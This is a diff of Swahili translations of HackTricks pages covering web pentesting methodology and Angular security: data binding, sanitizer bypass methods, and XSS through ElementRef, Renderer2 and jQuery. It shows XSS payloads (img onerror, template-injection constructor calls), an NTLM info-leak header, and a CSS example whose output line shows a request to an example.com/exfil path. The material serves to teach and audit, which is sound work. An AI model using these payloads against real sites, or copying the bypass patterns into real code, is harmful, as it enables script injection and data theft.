- Funguo za Google API: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia.
|
||||
- **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/index.html).
|
||||
@ -290,15 +290,15 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
||||
- Angalia **viungo** kwa faili nyingine ndani ya **CSS**.
|
||||
- [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
|
||||
- Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
|
||||
- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zitakavyoonekana" kama hizo.
|
||||
- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
|
||||
- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zinaweza kuonekana" kama hizo.
|
||||
- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ni hatari.
|
||||
- **Javascript Deobfuscator na Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Katika matukio kadhaa, utahitaji **kuelewa kanuni za kawaida** zinazotumika. Hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria kazi mpya inayoweza kuwa na udhaifu.
|
||||
- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -312,17 +312,17 @@ Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayohitaji **akili zako** (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **akili zako** (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
**Tuma** **kichwa**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza uelekeo) lakini kitu kinaweza kuwa **kimefichwa** huko.
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza redirection) lakini kitu kinaweza kuwa **kimefichwa** humo.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia udhaifu wengi wanaoweza kutokea. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
@ -348,7 +348,7 @@ Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Web
|
||||
Note: |
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-web
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Quick Web Scan
|
||||
|
@ -10,15 +10,15 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
* [ ] Mtumiaji hana udhibiti juu ya templeti za upande wa seva au upande wa mteja
|
||||
* [ ] Ingizo la mtumiaji lisiloaminika linapaswa kusafishwa kwa kutumia muktadha sahihi wa usalama kabla ya kuaminiwa na programu
|
||||
* [ ] Mbinu za `BypassSecurity*` hazitumiwi na ingizo lisiloaminika
|
||||
* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM
|
||||
* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama vile `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM
|
||||
|
||||
## What is Angular
|
||||
|
||||
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo yenye nguvu ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **open redirects**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
|
||||
Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo thabiti ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama vile **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**.
|
||||
|
||||
## Framework architecture
|
||||
|
||||
Ili kuelewa vyema misingi ya Angular, hebu tupitie dhana zake muhimu.
|
||||
Ili kuelewa vyema misingi ya Angular, hebu tuangalie dhana zake muhimu.
|
||||
|
||||
Mradi wa kawaida wa Angular kawaida unaonekana kama:
|
||||
```bash
|
||||
@ -39,13 +39,13 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinahusisha hierarchi ya vipengele na DOM. Kila kipengele kinaelezea darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinaelezea mtazamo wa kuonyeshwa katika mazingira ya lengo. Decorator ya `@Component()` inatambua darasa lililo chini yake kama kipengele, na inatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili ya `app.component.ts`.
|
||||
Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinachanganya hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Mshereheshaji `@Component()` unatambua darasa lililo chini yake kama kipengele, na unatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili `app.component.ts`.
|
||||
|
||||
NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili ya `app.module.ts`.
|
||||
NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`.
|
||||
|
||||
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili ya `app-routing.module.ts`.
|
||||
NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili `app-routing.module.ts`.
|
||||
|
||||
Kwa data au mantiki ambayo haijahusishwa na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Mwelekeo wa darasa la huduma unatanguliwa mara moja na decorator ya `@Injectable()`. Decorator inatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na yenye ufanisi. Haziipati data kutoka kwa seva, kuthibitisha pembejeo za mtumiaji, au kuandika moja kwa moja kwenye console; zinapeleka kazi hizo kwa huduma.
|
||||
Kwa data au mantiki ambayo haihusiani na mtazamo maalum, na ambayo unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma.
|
||||
|
||||
## Mipangilio ya sourcemap
|
||||
|
||||
@ -58,30 +58,30 @@ Msingi wa Angular unatafsiri faili za TypeScript kuwa msimbo wa JavaScript kwa k
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya ufuatiliaji kwani zinachora faili zilizozalishwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya awali ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaalamu anaweza bado kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama.
|
||||
Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya urekebishaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama.
|
||||
|
||||
Zaidi ya hayo, faili ya JavaScript iliyokusanywa na mradi wa Angular inaweza kupatikana katika zana za maendeleo za kivinjari → Vyanzo (au Debugger na Vyanzo) → \[id].main.js. Kulingana na chaguo zilizowekwa, faili hii inaweza kuwa na mstari ufuatao mwishoni `//# sourceMappingURL=[id].main.js.map` au inaweza isiwepo, ikiwa chaguo la **hidden** limewekwa kuwa **true**. Hata hivyo, ikiwa sourcemap imezimwa kwa **scripts**, upimaji unakuwa mgumu zaidi, na hatuwezi kupata faili hiyo. Aidha, sourcemap inaweza kuwezeshwa wakati wa kujenga mradi kama `ng build --source-map`.
|
||||
|
||||
## Ufunguo wa data
|
||||
## Data binding
|
||||
|
||||
Ufunguo unarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake unaohusiana. Unatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya ufunguo wa njia mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma.
|
||||
Kufunga kunarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake husika. Inatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya kufunga njia mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma.
|
||||
|
||||
Tunaweza kuainisha ufunguo kwa mtiririko wa data:
|
||||
Tunaweza kuainisha kufunga kwa mtiririko wa data:
|
||||
|
||||
* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _uhamasishaji_, _mali_, _sifa_, _darasa_ na _mitindo_); kinaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo;
|
||||
* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _matukio_); kinaweza kutumika kwa kutumia `()` katika kiolezo;
|
||||
* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _interpolation_, _properties_, _attributes_, _classes_ na _styles_); kinaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo;
|
||||
* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _events_); kinaweza kutumika kwa kutumia `()` katika kiolezo;
|
||||
* Njia Mbili; kinaweza kutumika kwa kutumia `[()]` katika kiolezo.
|
||||
|
||||
Ufunguo unaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo:
|
||||
Kufunga kunaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo:
|
||||
|
||||
| AINA | LENGO | MIFANO |
|
||||
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| Mali | Mali ya kipengee, mali ya Kipengee, mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Tukio | Tukio la kipengee, tukio la Kipengee, tukio la Mwelekeo| \<button type="button" (click)="onSave()">Save |
|
||||
| Mali | Mali ya kipengee, Mali ya Kipengee, Mali ya Mwelekeo | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo | \<button type="button" (click)="onSave()">Save |
|
||||
| Njia Mbili| Tukio na mali | \<input \[(ngModel)]="name"> |
|
||||
| Sifa | Sifa (kipekee) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
|
||||
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| Darasa | mali ya darasa | \<div \[class.special]="isSpecial">Special |
|
||||
| Mtindo | mali ya mtindo | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Mfano wa usalama wa Angular
|
||||
|
||||
@ -98,7 +98,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
```
|
||||
|
||||
Matokeo: `<script>alert(1)</script><h1>test</h1>`
|
||||
2. Ufunguo kwa mali, sifa, darasa na mitindo au `[attribute]="user_input"` - inatekeleza usafi kulingana na muktadha wa usalama uliotolewa.
|
||||
2. Kufunga kwa mali, sifa, madarasa na mitindo au `[attribute]="user_input"` - inatekeleza usafi kulingana na muktadha wa usalama uliotolewa.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -110,9 +110,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Matokeo: `<div><h1>test</h1></div>`
|
||||
|
||||
Kuna aina 6 za `SecurityContext` :
|
||||
Kuna aina 6 za `SecurityContext`:
|
||||
|
||||
* `Hakuna`;
|
||||
* `None`;
|
||||
* `HTML` inatumika, wakati wa kutafsiri thamani kama HTML;
|
||||
* `STYLE` inatumika, wakati wa kufunga CSS kwenye mali ya `style`;
|
||||
* `URL` inatumika kwa mali za URL, kama vile `<a href>`;
|
||||
@ -121,9 +121,9 @@ Kuna aina 6 za `SecurityContext` :
|
||||
|
||||
## Udhaifu
|
||||
|
||||
### Kupita Njia za Uaminifu wa Usalama
|
||||
### Kupita Njia za Kuamini Usalama
|
||||
|
||||
Angular inintroduce orodha ya mbinu za kupita mchakato wake wa usafi wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano:
|
||||
Angular inintroduce orodha ya mbinu za kupita mchakato wake wa usafi wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano mitano ifuatayo:
|
||||
|
||||
1. `bypassSecurityTrustUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya mtindo:
|
||||
|
||||
@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakutoa ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
|
||||
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakupatii ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
|
||||
|
||||
### Kuingiza HTML
|
||||
|
||||
Udhaifu huu hutokea wakati pembejeo ya mtumiaji inafungwa kwa mojawapo ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati wa kufunga kwenye sifa hizi inatafsiri HTML kama ilivyo, pembejeo inasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, kuingiza HTML kunawezekana, lakini uandishi wa msalaba (XSS) hauwezekani.
|
||||
Udhaifu huu hutokea wakati pembejeo ya mtumiaji inafungwa kwenye mojawapo ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati wa kufunga kwenye sifa hizi inatafsiri HTML kama ilivyo, pembejeo inasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, kuingiza HTML kunawezekana, lakini uandishi wa msalaba (XSS) hauwezekani.
|
||||
|
||||
Mfano wa kutumia `innerHTML`:
|
||||
```jsx
|
||||
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
//app.component.html
|
||||
<div [innerHTML]="test"></div>
|
||||
```
|
||||
The result is `<div><h1>test</h1></div>`.
|
||||
<div><h1>test</h1></div>
|
||||
|
||||
### Template injection
|
||||
|
||||
@ -218,7 +218,7 @@ The result is `<div><h1>test</h1></div>`.
|
||||
|
||||
Angular inatumia templates kujenga kurasa kwa njia ya kidinamik. Njia hii inahusisha kuweka maelezo ya template ili Angular iweze kuyathibitisha ndani ya mabano mawili ya curly (`{{}}`). Kwa njia hii, mfumo unatoa kazi za ziada. Kwa mfano, template kama `{{1+1}}` itakuwa inaonyesha kama 2.
|
||||
|
||||
Kwa kawaida, Angular inakimbia pembejeo za mtumiaji ambazo zinaweza kuchanganywa na maelezo ya template (mfano, wahusika kama \`< > ' " \`\`). Inamaanisha kwamba hatua za ziada zinahitajika ili kupita kizuizi hiki, kama vile kutumia kazi zinazozalisha vitu vya mfuatano wa JavaScript ili kuepuka kutumia wahusika waliokatazwa. Hata hivyo, ili kufikia hili, tunapaswa kuzingatia muktadha wa Angular, mali zake, na mabadiliko. Kwa hivyo, shambulio la template injection linaweza kuonekana kama ifuatavyo:
|
||||
Kwa kawaida, Angular inakimbia pembejeo za mtumiaji ambazo zinaweza kuchanganywa na maelezo ya template (mfano, wahusika kama \`< > ' " \`\`). Inamaanisha kwamba hatua za ziada zinahitajika ili kupita kizuizi hiki, kama vile kutumia kazi zinazozalisha vitu vya mfuatano wa JavaScript ili kuepuka kutumia wahusika waliokatazwa. Hata hivyo, ili kufikia hili, tunapaswa kuzingatia muktadha wa Angular, mali zake, na mabadiliko. Hivyo, shambulio la template injection linaweza kuonekana kama ifuatavyo:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -229,19 +229,19 @@ template: '<h1>title</h1>' + _userInput
|
||||
```
|
||||
Kama ilivyoonyeshwa hapo juu: `constructor` inahusisha upeo wa mali ya Object `constructor`, ikituwezesha kuita mjenzi wa String na kutekeleza msimbo wowote.
|
||||
|
||||
#### Uwasilishaji wa Kwanza wa Seva (SSR)
|
||||
#### Uwasilishaji wa Kwanza wa Server (SSR)
|
||||
|
||||
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia sawa na katika CSR, kwa sababu lugha ya templeti inayotumika ni sawa.
|
||||
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia sawa na katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile.
|
||||
|
||||
Kwa kweli, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars.
|
||||
Kwa hakika, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars.
|
||||
|
||||
### XSS
|
||||
|
||||
#### Mifumo ya DOM
|
||||
#### Interfaces za DOM
|
||||
|
||||
Kama ilivyosemwa hapo awali, tunaweza kufikia moja kwa moja DOM kwa kutumia interface ya _Document_. Ikiwa ingizo la mtumiaji halijathibitishwa kabla, linaweza kusababisha udhaifu wa kuandika msimbo wa wavuti (XSS).
|
||||
|
||||
Tulitumia mbinu za `document.write()` na `document.createElement()` katika mifano iliyo hapa chini:
|
||||
Tulitumia mbinu za `document.write()` na `document.createElement()` katika mifano hapa chini:
|
||||
```jsx
|
||||
//app.component.ts 1
|
||||
import { Component} from '@angular/core';
|
||||
@ -292,9 +292,9 @@ document.body.appendChild(a);
|
||||
```
|
||||
#### Madarasa ya Angular
|
||||
|
||||
Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufafanuzi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
|
||||
Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanapatikana katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufafanuzi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
|
||||
|
||||
* `ElementRef` ina mali `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
|
||||
* `ElementRef` ina mali ya `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -371,13 +371,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
Wakati wa utafiti wetu, pia tulichunguza tabia ya mbinu nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na sindano za CSS. Hata hivyo, hatukuweza kupata njia halali za shambulio kwa mbinu hizi kutokana na mipaka yao ya kazi.
|
||||
Wakati wa utafiti wetu, pia tulichunguza tabia ya njia nyingine za `Renderer2`, kama vile `setStyle()`, `createComment()`, na `setValue()`, kuhusiana na XSS na sindano za CSS. Hata hivyo, hatukuweza kupata njia halali za shambulio kwa njia hizi kutokana na mipaka yao ya kazi.
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu za jQuery zenye udhaifu zinaweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
|
||||
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu dhaifu za jQuery zinavyoweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
|
||||
|
||||
* Mbinu ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au mbinu inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa sindano ya vitambulisho vya `<script>` au matumizi ya sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
|
||||
